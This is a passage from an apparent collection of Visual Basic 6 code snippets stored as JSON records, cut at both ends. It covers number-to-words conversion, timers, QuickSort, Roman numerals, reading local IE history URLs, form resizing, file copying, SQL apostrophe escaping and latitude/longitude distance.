DT_LEFT\n obj.Refresh\n \n Do\n DoEvents\n If obj.Visible = False Then Exit Sub\n Loop While (timeGetTime - lTime) < 20\n \n Loop\n DeleteObject hBrush\nEnd Sub\n"},{"WorldId":1,"id":1083,"LineNumber":1,"line":"Private units(20), teens(11)\nFunction AmtToWords(amount As Currency, UnitCurr As String, DecCurr As String, UnitsCurr As String, DecsCurr As String) As String\nDim new_amt, TRstring, BIstring, MIstring, THstring, HUstring, DEstring, Separator As String\nIf amount = 0 Then\n AmtToWords = \"NIL\"\n Exit Function\nEnd If\nunits(0) = \"\"\nunits(1) = \" ONE\"\nunits(2) = \" TWO\"\nunits(3) = \" THREE\"\nunits(4) = \" FOUR\"\nunits(5) = \" FIVE\"\nunits(6) = \" SIX\"\nunits(7) = \" SEVEN\"\nunits(8) = \" EIGHT\"\nunits(9) = \" NINE\"\nunits(10) = \" TEN\"\nunits(11) = \" ELEVEN\"\nunits(12) = \" TWELVE\"\nunits(13) = \" THIRTEEN\"\nunits(14) = \" FOURTEEN\"\nunits(15) = \" FIFTEEN\"\nunits(16) = \" SIXTEEN\"\nunits(17) = \" SEVENTEEN\"\nunits(18) = \" EIGHTEEN\"\nunits(19) = \" NINETEEN\"\n \nteens(0) = \"\"\nteens(1) = \" TEN\"\nteens(2) = \" TWENTY\"\nteens(3) = \" THIRTY\"\nteens(4) = \" FORTY\"\nteens(5) = \" FIFTY\"\nteens(6) = \" SIXTY\"\nteens(7) = \" SEVENTY\"\nteens(8) = \" EIGHTY\"\nteens(9) = \" NINETY\"\nteens(10) = \" HUNDRED\"\nnew_amt = Format(amount, \"000000000000000.00\")\nTRstring = Mid(new_amt, 1, 3)\nBIstring = Mid(new_amt, 4, 3)\nMIstring = Mid(new_amt, 7, 3)\nTHstring = Mid(new_amt, 10, 3)\nHUstring = Mid(new_amt, 13, 3)\nDEstring = \"0\" + Mid(new_amt, 17, 2)\nAmtToWords = \"\"\nUnitCurr = IIf(Val(Left(new_amt, 15)) = 0, \"\", UnitCurr)\nDecCurr = IIf(Val(Right(new_amt, 2)) = 0, \"\", DecCurr)\nUnitCurr = IIf(Val(Left(new_amt, 15)) > 1, UnitsCurr, UnitCurr)\nDecCurr = IIf(Val(Right(new_amt, 2)) > 1, DecsCurr, DecCurr)\nSeparator = IIf(UnitCurr <> \"\" And DecCurr <> \"\", \" and\", \"\")\nAmtToWords = UnitCurr + AmtToWords\nAmtToWords = AmtToWords + IIf(Val(TRstring) > 0, numconv(TRstring) + \" TRILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(BIstring) > 0, numconv(BIstring) + \" BILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(MIstring) > 0, numconv(MIstring) + \" MILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(THstring) > 0, numconv(THstring) + \" THOUSAND\", \"\")\nAmtToWords = AmtToWords + IIf(Val(HUstring) > 0, numconv(HUstring), \"\")\nAmtToWords = AmtToWords + IIf(Val(DEstring) > 0, Separator + numconv(DEstring), \"\")\nAmtToWords = Trim(AmtToWords + \" \" + DecCurr) + \" ONLY\"\nEnd Function\nFunction numconv(amt) As String\nDim aAmount, bAmount, cAmount, dAmount As Integer\nDim hyphen As String\naAmount = Val(Mid(amt, 2, 2))\nbAmount = Val(Mid(amt, 3, 1))\ncAmount = Val(Mid(amt, 2, 1))\ndAmount = Val(Mid(amt, 1, 1))\nIf aAmount < 20 Then\n numconv = units(aAmount)\nElse\n numconv = units(bAmount)\n If bAmount > 0 And cAmount > 0 Then\n hyphen = \"-\"\n End If\n numconv = teens(cAmount) + hyphen + LTrim(numconv)\nEnd If\nIf dAmount > 0 Then\n numconv = units(dAmount) + \" HUNDRED\" + numconv\nEnd If\nEnd Function\n"},{"WorldId":1,"id":1088,"LineNumber":1,"line":"Option Explicit\nPrivate Type LARGE_INTEGER\n lowpart As Long\n highpart As Long\nEnd Type\nPrivate Declare Function QueryPerformanceCounter Lib \"kernel32\" (lpPerformanceCount As LARGE_INTEGER) As Long\nPrivate Declare Function QueryPerformanceFrequency Lib \"kernel32\" (lpFrequency As LARGE_INTEGER) As Long\nPrivate m_PerfFrequency As LARGE_INTEGER\nPrivate m_CounterStart As LARGE_INTEGER\nPrivate m_CounterEnd As LARGE_INTEGER\nPrivate m_crFrequency As Currency\nPrivate m_bEnable As Boolean\n'mesure time that the code take jus to call functions\nProperty Get Delay() As Double\n Dim i As Integer\n Dim crTotalcount As Currency\n \n For i = 1 To 100\n Me.StartCounter\n Me.StopCounter\n crTotalcount = crTotalcount + (Large2Currency(m_CounterEnd) - Large2Currency(m_CounterStart))\n Next i\n Delay = ((crTotalcount / 100) / m_crFrequency) * 1000#\nEnd Property\n\nPrivate Function Large2Currency(largeInt As LARGE_INTEGER) As Currency\n If (largeInt.lowpart) > 0& Then\n Large2Currency = largeInt.lowpart\n Else\n Large2Currency = CCur(2 ^ 31) + CCur(largeInt.lowpart And &H7FFFFFFF)\n End If\n \n Large2Currency = Large2Currency + largeInt.highpart * CCur(2 ^ 32)\nEnd Function\n\nPrivate Sub Class_Initialize()\n Dim lResp As Long\n \n m_bEnable = CBool(QueryPerformanceFrequency(m_PerfFrequency))\n \n If m_bEnable Then\n \n End If\n m_crFrequency = Large2Currency(m_PerfFrequency)\n Debug.Assert m_bEnable 'Computer does not suport PerfCounter\nEnd Sub\nPublic Sub StartCounter()\nDim lResp As Long\nlResp = QueryPerformanceCounter(m_CounterStart)\nEnd Sub\nPublic Sub StopCounter()\nDim lResp As Long\nlResp = QueryPerformanceCounter(m_CounterEnd)\nEnd Sub\nProperty Get TimeElapsed() As Double\n \n Dim crStart As Currency\n Dim crStop As Currency\n Dim crFrequency As Currency\n \n crStart = Large2Currency(m_CounterStart)\n crStop = Large2Currency(m_CounterEnd)\n \n \n TimeElapsed = ((crStop - crStart) / m_crFrequency) * 1000#\nEnd Property\n\n"},{"WorldId":1,"id":1091,"LineNumber":1,"line":"Option Explicit\n' QuickSort class\n'\n' To use this class, you must do a bit of planning: First,\n' in a form or other object module (not a .bas module),\n' create an object like this:\n'\n' Private WithEvents TestSort as clsQuickSort\n'\n' Next, define a list of values. This list can be\n' disk-based (table) or memory-based (array).\n' Regardless, this list MUST be numerically indexed\n' with no gaps in the numbering. The indexing can\n' start from any number and go up to any number.\n'\n' Then, create code for the two events defined by this\n' class: isLess and swapItems. The isLess event will\n' pass three variables to you: ndx1, ndx2 and Result.\n' Look at element ndx1 and ndx2 in your array (or\n' however you've implemented storage). If element\n' ndx1 is less than element ndx2, set the Result\n' variable to -1; if element ndx1 is greater than\n' element ndx2, set Result to 1; else set it to 0.\n'\n' To sort in descending order, reverse that logic.\n' i.e. If element ndx1 is less than element ndx2,\n' set the Result variable to 1; if element ndx1 is\n' greater than element ndx2, set Result to -1; else\n' set it to 0.\n'\n' If the \"key\" of your data is of type String, you\n' can use the StrComp function in your isLess function:\n' Result = StrComp(ar(ndx1), ar(ndx2))\n'\n' The swapItems event will pass you two variables:\n' ndx1 and ndx2. Within that code, do whatever is needed\n' to swap those two items within your storage area.\n'\n' Within your code, when you wish to sort your list,\n' call the .Sort method passing it the number of the\n' last element and the number of the first element.\n' If you omit the first element's index, it will\n' default to 1.\n'\n' Upon completion, the property .RunTime will contain\n' the number of seconds the routine ran.\n'\n' Sample code that sorts 100 random numbers is listed\n' below at the end of the class code.\nPublic Event isLess _\n (ByVal ndx1 As Long, _\n ByVal ndx2 As Long, _\n Result As Integer)\n \nPublic Event SwapItems _\n (ByVal ndx1 As Long, _\n ByVal ndx2 As Long)\nPublic runTime As Long\nPrivate Function Partition _\n (ByVal lb As Long, ByVal hb As Long) As Variant\n \n Dim pivot As Long\n Dim Result As Integer\n Dim lbi As Long\n Dim hbi As Long\n \n hbi = hb\n lbi = lb\n \n If hb <= lb Then\n Partition = Null\n Exit Function\n End If\n \n If hb - lb = 1 Then\n Result = 0\n RaiseEvent isLess(lb, hb, Result)\n If Result > 0 Then\n RaiseEvent SwapItems(lb, hb)\n End If\n Partition = Null\n Exit Function\n End If\n \n pivot = lbi\n Do While lbi < hbi\n Result = 0\n RaiseEvent isLess(pivot, hbi, Result)\n Do While Result <= 0 And hbi > lbi\n hbi = hbi - 1\n Result = 0\n RaiseEvent isLess(pivot, hbi, Result)\n Loop\n If hbi <> pivot Then\n RaiseEvent SwapItems(lbi, hbi)\n If lbi = pivot Then pivot = hbi\n End If\n \n Result = 0\n RaiseEvent isLess(lbi, pivot, Result)\n Do While Result < 0 And lbi < hbi\n lbi = lbi + 1\n Result = 0\n RaiseEvent isLess(lbi, pivot, Result)\n Loop\n If lbi <> pivot Then\n RaiseEvent SwapItems(lbi, hbi)\n If pivot = hbi Then pivot = lbi\n End If\n Loop\n Partition = pivot\nEnd Function\nPrivate Sub SortIt _\n (ByVal lastNdx As Long, _\n Optional ByVal firstNdx As Long = 1)\n \n Dim pivot As Variant\n If firstNdx < lastNdx Then\n pivot = Partition(firstNdx, lastNdx)\n If Not IsNull(pivot) Then\n Call SortIt(pivot - 1, firstNdx)\n Call SortIt(lastNdx, pivot + 1)\n End If\n End If\nEnd Sub\nPublic Sub Sort _\n (ByVal lastNdx As Long, _\n Optional ByVal firstNdx As Long = 1)\n \n Dim startTime As Long\n startTime = Timer\n \n SortIt lastNdx, firstNdx\n \n runTime = Timer - startTime\n Do While runTime < 0\n runTime = runTime + 86400\n Loop\nEnd Sub\nPrivate Sub Class_Initialize()\n runTime = 0\nEnd Sub\n' SAMPLE CODE:\n'Private ar(100) As Long\n'Private WithEvents arSort As clsQuickSort\n'Private Sub arSort_isLess _\n (ByVal ndx1 As Long, ByVal ndx2 As Long, _\n Result As Integer)\n'\n' If ar(ndx1) = ar(ndx2) Then\n' Result = 0\n' Elseif ar(ndx1) < ar(ndx2) then\n' Result = -1\n' Else\n' Result = 1\n' End If\n'End Sub\n'Private Sub arSort_SwapItems _\n (ByVal ndx1 As Long, ByVal ndx2 As Long)\n'\n' Dim tmp As Long\n' tmp = ar(ndx1)\n' ar(ndx1) = ar(ndx2)\n' ar(ndx2) = tmp\n'End Sub\n' Randomize\n'\n' Set arSort = New clsQuickSort\n' Dim i As Long\n' For i = LBound(ar) To UBound(ar)\n' ar(i) = Int(Rnd * 100 + 1)\n' Next i\n' arSort.Sort UBound(ar), LBound(ar)\n' Debug.Print \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n' For i = LBound(ar) To UBound(ar)\n' Debug.Print ar(i)\n' Next i\n' Debug.Print \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n' Debug.Print \"Sort time = \"; arSort.runTime\n"},{"WorldId":1,"id":1092,"LineNumber":1,"line":"Option Explicit\n'Valid roman numerals and their values\nPrivate Const M = 1000\nPrivate Const D = 500\nPrivate Const C = 100\nPrivate Const L = 50\nPrivate Const X = 10\nPrivate Const V = 5\nPrivate Const I = 1\nPrivate Function IsRoman(ByVal numr As String) As Boolean\n \n 'This function is given a character and returns true if it is\n 'a valid roman numeral, false otherwise.\n 'Convert digit to UpperCase\n numr = UCase(numr)\n 'Test the digit\n Select Case numr\n Case \"M\"\n IsRoman = True\n Case \"D\"\n IsRoman = True\n Case \"C\"\n IsRoman = True\n Case \"L\"\n IsRoman = True\n Case \"X\"\n IsRoman = True\n Case \"V\"\n IsRoman = True\n Case \"I\"\n IsRoman = True\n Case Else\n IsRoman = False\n End Select\n \nEnd Function\nPrivate Function ConvertRoman(ByVal numr As String) As String\n 'This function is given a roman numeral and returns its value.\n 'NULL is returned if the character is not valid\nDim digit As Integer\n\n 'Convert digit to UpperCase\n numr = UCase(numr)\n 'Convert the digit\n Select Case numr\n Case \"M\"\n digit = M\n Case \"D\"\n digit = D\n Case \"C\"\n digit = C\n Case \"L\"\n digit = L\n Case \"X\"\n digit = X\n Case \"V\"\n digit = V\n Case \"I\"\n digit = I\n Case Else\n digit = vbNull\n End Select\n \n 'And return its value\n ConvertRoman = digit\n \nEnd Function\nPublic Function GetRoman(ByVal numr As String) As String\n 'This function reads the next number in roman numerals from the input\n 'and returns it as an integer\n \nDim rdigit As String\nDim num As Long\nDim DigValue As Long\nDim LastDigValue As String\nDim j As Long\n j = 1\n num = 0\n LastDigValue = M\n \n 'Get the first digit\n rdigit = Mid(numr, j, 1)\n 'While it is a roman digit\n Do While IsRoman(rdigit)\n 'Convert roman digit to its value\n DigValue = ConvertRoman(rdigit)\n 'If previous digit was a prefix digit\n If DigValue > LastDigValue Then\n 'Adjust total\n num = num - 2 * LastDigValue + DigValue\n Else\n 'Otherwise accumulate the total\n num = num + DigValue\n 'Save this digit as previous\n LastDigValue = DigValue\n End If\n 'Get next digit\n j = j + 1\n rdigit = Mid(numr, j, 1)\n 'End of the string detected, exit\n If Len(rdigit) = 0 Then\n Exit Do\n End If\n Loop\n 'Return the number\n GetRoman = num\nEnd Function\n"},{"WorldId":1,"id":1104,"LineNumber":1,"line":"Private Sub Command1_Click()\n \n Dim iDisplacement As Integer\n Dim iURLCount As Integer\n Dim sDelimiter As String\n Dim sData As String\n Dim sURLs(1 To 1000) As String\n Dim IEHistoryFile As String\n Dim i As Long\n Dim j As Long\n Dim x As Integer\n \n 'For the Index.dat file the displacement is set to 119 for other files I 'have set the displacement to 15.\n \n iDisplacement = 119 'Index.dat = 119\n sDelimiter = \"URL \" '\"Visited: \"\n IEHistoryFile = \"index.dat\" 'Could also me an MM DAT file in History folder\n \n 'For the Index.dat file the delimiter, or search string, is \"URL \"\n 'For other files I have used \"Visited: \"\n \n \n \n 'This is the History DAT file. I use Index.dat for this example, but there are MM files\n \n \n Open \"c:\\windows\\history\\\" & IEHistoryFile For Binary As #1\n \n sData = Space$(LOF(1)) 'Data Buffer\n \n Get #1, , sData 'Places all data from file into buffer , sData\n \n Close #1 'Closes file\n \n \n \n i = InStr(i + 1, sData, sDelimiter) 'Looks for sdelimiter in sdata\n \n iURLCount = 0 'Sets URLCount to 0 because this is the beginning for the file\n \n While i < Len(sData)\n \n iURLCount = iURLCount + 1 'Keeps a count of how manu URLs are in the file\n \n If i > 0 Then\n j = InStr(i + iDisplacement - 1, sData, Chr$(0))\n 'Place URL in an array\n sURLs(iURLCount) = Mid$(sData, i + iDisplacement, j - (i + iDisplacement))\n End If\n \n i = InStr(i + 1, sData, sDelimiter) 'Index = URL\n \n If i = 0 Then GoTo EndURLs 'If there are no more URLs then stop looping\n \n Wend\n \nEndURLs:\n \n 'This prints all URLs in Array in the debug window so you can see them\n For x = 1 To iURLCount\n Debug.Print sURLs(x)\n Next x\n \n \nEnd Sub\n"},{"WorldId":1,"id":1107,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' MODULE DESCRIPTION:\n' Class for scaling/repositioning controls on a form\n'\n' DATE CREATED:\n' 10-22-1998\n'\n' AUTHOR:\n' John Buzzurro\n'\n' COPYRIGHT NOTICE:\n' Copyright (c) 1998 by John Buzzurro\n'\n' NOTES:\n' A) To give your form resizing ability:\n'\n' 1) Create an instance of this class\n' 2) Set the SourceForm property of this class = your form\n' 3) In your Form_Resize() event handler, call the ScaleControls() method of\n' this class\n' 4) Optional - To refine the type of scaling/positioning of a control:\n' Set the .Tag property of the control to a string containing an \"@\" sign\n' followed by any of the following, separated by commas: T,L,H,W,\n' Where T = Adjust control's Top position\n' L = Adjust control's Left position\n' H = Adjust control's height\n' W = Adjust control's width\n'\n' Example: \"@T,L\"\n' Note that if the .Tag property does not start with a \"@\", the resizer\n' assumes \"@T,L,H,W\"; If the .Tag property is set only to \"@\", the\n' resizer will not attempt to reposition or resize the control.\n'\n' B) If you Add or Remove controls at runtime, OR you adjust the height or\n' width of the form programmatically at runtime, you MUST call the\n' ReInitialize() method of this class.\n'\n' C) For Image controls, you need to set the Stretch property to True for the\n' control to properly resize.\n'\n' EXAMPLE FORM MODULE CODE:\n' Option Explicit\n'\n' Dim mcFormResize As New clsFormResize\n'\n' Private Sub Form_Load()\n' mcFormResize.SourceForm = Me\n' End Sub\n'\n' Private Sub Form_Resize()\n' mcFormResize.ScaleControls\n' End Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nOption Explicit\n' Information we store about a control\nPrivate Type tControlPosition\n cControl As Control ' Reference to the control instance\n nLeft As Long ' Original Left pos\n nTop As Long ' Original Top pos\n nWidth As Long ' Original Width\n nHeight As Long ' Original Height\nEnd Type\n' Module-scope storage\nPrivate mfSourceForm As Form ' The form we are resizing\nPrivate mnLastWidth As Long ' Original form width\nPrivate mnLastHeight As Long ' Original form height\nPrivate matControlPos() As tControlPosition ' Array for storing control info\nPrivate mbIsFirstTime As Boolean ' Flag indicating first time scale\n'*****************************************************************************\n' Property: SourceForm (get)\n' Returns the form object to which this CFormMetric instance belongs\n'*****************************************************************************\nPublic Property Get SourceForm() As Form\n Set SourceForm = mfSourceForm\nEnd Property\n'*****************************************************************************\n' Property: SourceForm (put)\n' Sets the form object to which this CFormMetric instance belongs\n'*****************************************************************************\nPublic Property Let SourceForm(ByVal vNewValue As Form)\n Set mfSourceForm = vNewValue\n \nEnd Property\n'*****************************************************************************\n' Method: ScaleControls()\n' Adjusts the size and position of the form's controls relative to\n' the current form size\n'*****************************************************************************\nPublic Sub ScaleControls()\n Dim sFlags As String, _\n sTemp As String\n Dim nDeltaLeft As Long, _\n nDeltaTop As Long, _\n nDeltaWidth As Long, _\n nDeltaHeight As Long, _\n nTextHeight As Long\n Dim iControl As Integer\n Dim nWidthChange As Double, _\n nHeightChange As Double\n Dim bIsLineControl As Boolean\n Dim cControl As Control\n \n If (mbIsFirstTime) Then\n Call SaveInitialState\n Exit Sub\n End If\n \n ' If the form is minimized, there's nothing to do\n If (mfSourceForm.WindowState = vbMinimized) Then Exit Sub\n \n ' Calculate the change in form size\n nDeltaWidth = mfSourceForm.ScaleWidth - mnLastWidth\n nDeltaHeight = mfSourceForm.ScaleHeight - mnLastHeight\n \n nHeightChange = mfSourceForm.ScaleHeight / mnLastHeight\n nWidthChange = mfSourceForm.ScaleWidth / mnLastWidth\n \n For iControl = LBound(matControlPos) To UBound(matControlPos)\n Set cControl = matControlPos(iControl).cControl\n \n With cControl\n ' Test whether this is a line control; If it is,\n ' we need to set its X1, X2, Y1, Y2 properties instead of the\n ' usual .Top, .Left, .Height, .Width properties\n If (TypeOf cControl Is VB.Line) Then\n bIsLineControl = True\n Else\n ' Not a line control\n bIsLineControl = False\n End If\n \n On Error GoTo errScaleControls\n \n ' See if the control has specified which attributes can be changed\n sFlags = UCase(.Tag)\n \n ' If none specified, assume all\n If (sFlags = \"\") Then sFlags = \"@T,H,L,W\"\n \n ' If Tag property is used for something else, assume all\n If (Left$(sFlags, 1) <> \"@\") Then sFlags = \"@T,H,L,W\"\n \n ' Resize/Reposition the control\n If (bIsLineControl) Then\n ' Line control\n If (InStr(sFlags, \"T\")) Then .Y1 = (matControlPos(iControl).nTop * nHeightChange)\n If (InStr(sFlags, \"H\")) Then .Y2 = (matControlPos(iControl).nHeight * nHeightChange)\n If (InStr(sFlags, \"L\")) Then .X1 = (matControlPos(iControl).nLeft * nWidthChange)\n If (InStr(sFlags, \"W\")) Then .X2 = (matControlPos(iControl).nWidth * nWidthChange)\n Else\n ' All other controls\n If (InStr(sFlags, \"T\")) Then .Top = (matControlPos(iControl).nTop * nHeightChange)\n If (InStr(sFlags, \"H\")) Then .Height = (matControlPos(iControl).nHeight * nHeightChange)\n If (InStr(sFlags, \"L\")) Then .Left = (matControlPos(iControl).nLeft * nWidthChange)\n If (InStr(sFlags, \"W\")) Then .Width = (matControlPos(iControl).nWidth * nWidthChange)\n End If\n \n' nTextHeight = 0\n' nTextHeight = mfSourceForm.TextHeight(.Caption)\n' If Not nTextHeight Then nTextHeight = mfSourceForm.TextHeight(.Text)\n' If (nTextHeight > .Height) Then\n' .Height = mfSourceForm.TextHeight(.Caption) * 1.2\n' .Height = mfSourceForm.TextHeight(.Text) * 1.2\n' End If\n \n End With\nskipControl:\n Next iControl\n \nExit Sub\nerrScaleControls:\n ' If the Left, Top, Height or Width property is read-only, skip to next line;\n ' Otherwise, skip the control entirely\n If (Err.Number = 383 Or Err.Number = 387 Or Err.Number = 393 Or Err.Number = 438) Then Resume Next\n Resume skipControl\n \nEnd Sub\n'*****************************************************************************\n' Method: SizeToScreen()\n' Size the form relative to the current screen resolution\n'\n' Params: Percentage of total screen size to use for the form size\n'*****************************************************************************\nPublic Sub SizeFormToScreen(nPercent As Integer)\n Dim w As Long, _\n h As Long\n \n w = Int(Screen.Width * (nPercent / 100))\n h = Int(Screen.Height * (nPercent / 100))\n \n mfSourceForm.Width = w\n mfSourceForm.Height = h\n \nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' Method: ReInitialize()\n' ReInitialize Method; This method should be called if:\n' a) You programmatically change the form size at runtime;\n' b) You add or remove controls to/from the form at runtime\n'\n' MODIFIES:\n' Recreates the matControlPos() array and saves the current form\n' information\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPublic Sub ReInitialize()\n Call SaveInitialState\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Class instance initialization; Initialize module-scope variables\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub Class_Initialize()\n mbIsFirstTime = True\n mnLastWidth = 0\n mnLastHeight = 0\n Set mfSourceForm = Nothing\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save the initial state of the form and controls attached to this class\n' instance\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveInitialState()\n \n Call SaveFormInfo\n Call SaveControlInfo\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save form width and height\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveFormInfo()\n ' Take a snapshot of the form's initial position and size\n With mfSourceForm\n If (TypeOf mfSourceForm Is MDIForm) Then\n mnLastWidth = .Width\n mnLastHeight = .Height\n Else\n mnLastWidth = .ScaleWidth\n mnLastHeight = .ScaleHeight\n End If\n End With\n \nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save state information for each control on the form\n'\n' NOTES:\n' We only save info for controls that have a Visible property\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveControlInfo()\n Dim cControl As Control\n Dim bCanSetLeft As Boolean, _\n bCanSetTop As Boolean, _\n bCanSetWidth As Boolean, _\n bCanSetHeight As Boolean, _\n bHasVisibleProp As Boolean, _\n bHasCaptionProp As Boolean, _\n bHasTextProp As Boolean, _\n bTemp As Boolean\n Dim i As Integer\n \n Erase matControlPos\n \n ''\n ' Loop through each control on the form...\n For Each cControl In mfSourceForm.Controls\n bCanSetLeft = True\n bCanSetTop = True\n bCanSetWidth = True\n bCanSetHeight = True\n bHasVisibleProp = True\n bHasCaptionProp = True\n bHasTextProp = True\n \n With cControl\n \n ' Test whether control has a Visible property\n On Error GoTo errNoVisibleProp\n bTemp = .Visible\n \n On Error GoTo 0\n \n ' If control has visible property, save its info in an array\n If (bHasVisibleProp) Then\n i = i + 1\n ReDim Preserve matControlPos(1 To i)\n \n Set matControlPos(i).cControl = cControl\n \n ' If this is a Line control...\n If (TypeOf cControl Is VB.Line) Then\n ' ... then this is a special case 'cause its position\n ' is specified by different properties than normal\n matControlPos(i).nLeft = .X1\n matControlPos(i).nTop = .Y1\n matControlPos(i).nWidth = .X2\n matControlPos(i).nHeight = .Y2\n Else\n ' This is not a Line control\n On Error Resume Next\n matControlPos(i).nLeft = .Left\n matControlPos(i).nTop = .Top\n matControlPos(i).nWidth = .Width\n matControlPos(i).nHeight = .Height\n On Error GoTo 0\n End If\n \n End If\n \n End With\n \n Next cControl\n \n mbIsFirstTime = False\n \nExit Sub\n \nerrNoVisibleProp:\n bHasVisibleProp = False\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":1112,"LineNumber":1,"line":"- Put this on form load...\nPrivate Sub Form_Load()\nDim MyDate\nMyDate = Format(Date, \"dddd, mmm d yyyy\")\nText1.Text = \"C:\\SourceDirectory\\SourceFile.mdb\"\nText2.Text = \"C:\\DestinationDirectory\\\" + MyDate + \".mdb\"\n- Put this on Command1 Click...\nPrivate Sub Command1_Click()\nFileCopy Text1.Text, Text2.Text"},{"WorldId":1,"id":1116,"LineNumber":1,"line":"Public Sub CheckDir(file)\n\t\tIx = 4 'Initial index\n\t\tKSlash = InStr(1, file, \"\\\", 1) 'Search for first \"\\\"\n \t\tFor Cnt = 1 To Len(file) 'Run until discover\n \t \t 'other directories\n \t\tKSlash = InStr((KSlash + 1), file, \"\\\", 1)\n \t\tIf KSlash = 0 Then Exit For 'Last slash \n \t\tdir1 = Left(file, (KSlash - 1))\n \t\tcdir1 = Mid(dir1, Ix)\n \t\tIx = Ix + Len(cdir1) + 1\n \t\thh = Dir(dir1, vbDirectory)\n \t\t'If Directory doesn't exist, create it\n \t\tIf StrComp(hh, cdir1, 1) <> 0 Then\n \t\t\tMkDir (dir1)\n \t\tEnd If\n \t\tNext Cnt\n\tEnd Sub"},{"WorldId":1,"id":1146,"LineNumber":1,"line":"' Place this code in the General Declarations section of Form1.\nPrivate Sub Command1_Click()\n 'Open the toolbar window\n Form2.Show\n 'Move the toolbar to the right\n 'of Form1.\n '(gives it a docking effect)\n Form2.Height = Form1.Height - 330\n 'Subtract the titlebar height -^\n Form2.Left = Form1.Left + Form1.Width - Form2.Width\n Form2.Top = Form1.Top + Form1.Height - Form2.Height\nEnd Sub\nPrivate Sub Form_Load()\n 'Set the button properties\n Command1.Caption = \"Show Toolbar\"\n Command1.Width = 2055\n Command1.Height = 375\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n 'If Form2 is opened when you close\n 'Form1, it will not end your app, so\n 'you have to manually unload Form2.\n Unload Form2\nEnd Sub\n' Place this code in the Form_Load event of Form2\nPrivate Sub Form_Load()\nSetWindowLong Me.hwnd, GWL_HWNDPARENT, Form1.hwnd\nEnd Sub\n"},{"WorldId":1,"id":1153,"LineNumber":1,"line":"'***********************************************************************\n' Function: Apostrophe\n' Argument: sFieldString\n' Description: This subroutine will fill format the field we\n' want to store in the database if there is some apostrophes\n' in the field.\n'***********************************************************************\nPublic Function Apostrophe(sFieldString As String) As String\nIf InStr(sFieldString, \"'\") Then\n Dim iLen As Integer\n Dim ii As Integer\n Dim apostr As Integer\n iLen = Len(sFieldString)\n ii = 1\n Do While ii <= iLen\n If Mid(sFieldString, ii, 1) = \"'\" Then\n apostr = ii\nsFieldString = Left(sFieldString, apostr) & \"'\" & _\nRight(sFieldString, iLen - apostr)\n iLen = Len(sFieldString)\n ii = ii + 1\n End If\n ii = ii + 1\n Loop\nEnd If\nApostrophe = sFieldString\nEnd Function"},{"WorldId":1,"id":1177,"LineNumber":1,"line":"Function LatLonDistance(ByVal dbLat1 As Double, _\n ByVal dbLon1 As Double, _\n ByVal dbLat2 As Double, _\n ByVal dbLon2 As Double, _\n ByVal stUnits As String) As Double\nDim loRadiusOfEarth As Long\nDim dbDeltaLat As Double\nDim dbDeltaLon As Double\nDim dbTemp As Double\nDim dbTemp2 As Double\n 'Set the radius of the earth in the selected units\n Select Case UCase(stUnits)\n Case \"MI\" ' Miles\n loRadiusOfEarth = 3956\n Case \"FT\" ' Feet\n loRadiusOfEarth = 20887680\n Case \"YD\" ' Yards\n loRadiusOfEarth = 6962560\n Case \"KM\" ' Kilometers\n loRadiusOfEarth = 6367\n Case \"M\" ' Meters\n loRadiusOfEarth = 6367000\n Case Else ' Error\n LatLonDistance = -1\n Exit Function\n End Select\n 'Calculate the Delta of the of the Longitudes and Latitudes and\n 'subtract the destination point from the starting point\n dbDeltaLon = AsRadians(dbLon2) - AsRadians(dbLon1)\n dbDeltaLat = AsRadians(dbLat2) - AsRadians(dbLat1)\n 'Intermediate values...\n dbTemp = Sin2(dbDeltaLat / 2) + _\n Cos(AsRadians(dbLat1)) * _\n Cos(AsRadians(dbLat2)) * _\n Sin2(dbDeltaLon / 2)\n \n 'The temp value dbTemp2 is the great circle distance in radians\n dbTemp2 = 2 * Arcsin(GetMin(1, Sqr(dbTemp)))\n 'Multiply the radians by the radius to get the distance in specified units\n LatLonDistance = loRadiusOfEarth * dbTemp2\nEnd Function\nPrivate Function Arcsin(ByVal X As Double) As Double\n Arcsin = Atn(X / Sqr(-X * X + 1))\nEnd Function\nPrivate Function AsRadians(ByVal pDb_Degrees As Double) As Double\nConst vbPi = 3.14159265358979\n 'To convert decimal degrees to radians, multiply\n 'the number of degrees by pi/180 = 0.017453293 radians/degree\n AsRadians = pDb_Degrees * (vbPi / 180)\nEnd Function\nPrivate Function GetMin(ByVal X As Double, ByVal Y As Double) As Double\n \n If X <= Y Then\n GetMin = X\n Else\n GetMin = Y\n End If\n \nEnd Function\nPrivate Function Sin2(ByVal X As Double) As Double\n Sin2 = (1 - Cos(2 * X)) / 2\n \nEnd Function\nFunction RoundNum(Num As Double) As Double\n'This function rounds a floating point number to nearest whole\n'number, a function which is sadly lacking from VB.\n If Int(Num + 0.5) > Num Then\n RoundNum = Int(Num + 0.5)\n Else\n RoundNum = Int(Num)\n End If\n \nEnd Function"},{"WorldId":1,"id":1189,"LineNumber":1,"line":"Dim calcarray(0 To 3) As Double\nDim holder As Integer\nDim operation As Integer\nDim decicount 